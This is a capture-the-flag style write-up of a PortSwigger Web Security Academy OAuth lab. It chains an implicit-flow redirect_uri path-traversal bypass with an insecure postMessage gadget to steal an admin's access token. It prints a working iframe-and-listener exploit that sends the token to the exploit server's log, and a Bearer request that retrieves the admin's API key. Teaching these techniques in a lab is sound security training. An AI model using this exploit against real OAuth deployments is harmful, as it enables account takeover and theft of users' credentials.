Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type OAuth 2.0 / Web Messaging / Implicit Flow
Difficulty Expert
Objective Chain a flawed redirect_uri whitelist bypass with an insecure postMessage gadget on the comment form to exfiltrate the admin's access token, then call /me to retrieve the API key

Stealing OAuth Access Tokens via a Proxy Page

I logged in as wiener:peter and traced the full flow. response_type=token — implicit grant, token in URL fragment.

Screenshot
Screenshot
Screenshot

The /oauth-callback page reads the token from the fragment and calls GET /me on the OAuth server to get profile data including an apikey field.

Screenshot

Browsing the blog, submitting a comment triggered a load of /post/comment/comment-form. Its source revealed the proxy gadget:

Screenshot
Screenshot
parent.postMessage({type: 'onload', data: window.location.href}, '*')

On load, the comment form immediately broadcasts its own full URL — including any fragment — to the parent window via postMessage. The '*' target origin means the message goes to any parent regardless of domain. If our exploit server embeds this page in an iframe, we receive that message with whatever is in the URL fragment, including an access token. That's the "proxy page" — it doesn't directly leak the token, but relays it from the OAuth callback fragment to our exploit server via the postMessage broadcast.

This lab chains three separate vulnerabilities: the implicit flow delivers the token through the browser rather than server-to-server; the flawed redirect_uri validation lets us redirect to an arbitrary page on the blog domain; and the insecure postMessage implementation leaks the fragment to any listening parent. None of them is exploitable in isolation.

The same path traversal technique from the previous lab redirects the token to the comment form instead of an open redirect:

GET /auth?client_id=cdhiwy4o1oreud2tqrlj9&redirect_uri=https://0aa4007503acefc7812957b800e5005e.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&...
Screenshot

Accepted. The browser landed at /post/comment/comment-form#access_token=...:

Screenshot

The onload handler fires and broadcasts the full URL to whoever is listening. The exploit:

<iframe src="https://oauth-0a2b0045032aef6d817b5531020d00d1.oauth-server.net/auth?client_id=cdhiwy4o1oreud2tqrlj9&redirect_uri=https://0aa4007503acefc7812957b800e5005e.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=457786893&scope=openid%20profile%20email"></iframe>

<script>
    window.addEventListener('message', function(e) {
        fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>

When the admin opens this page: the iframe initiates the OAuth flow; since the admin already has an active session with the provider the flow completes silently; the provider redirects to the comment form with the token in the fragment; the onload postMessage fires; our listener catches it and fetches /<encoded URL> — the token is now in the exploit server's access log as part of the request path.

Screenshot
Screenshot

Admin's token in the log. Calling /me directly:

GET /me HTTP/2
Host: oauth-0a2b0045032aef6d817b5531020d00d1.oauth-server.net
Authorization: Bearer RxQIU2JbSGpfHwXqEtYzFyrS-4tTNNL9cGngt8zQ5no
Screenshot

Response included the admin's API key. Submitting it:

Screenshot
Screenshot

Lab solved and section finished

Resources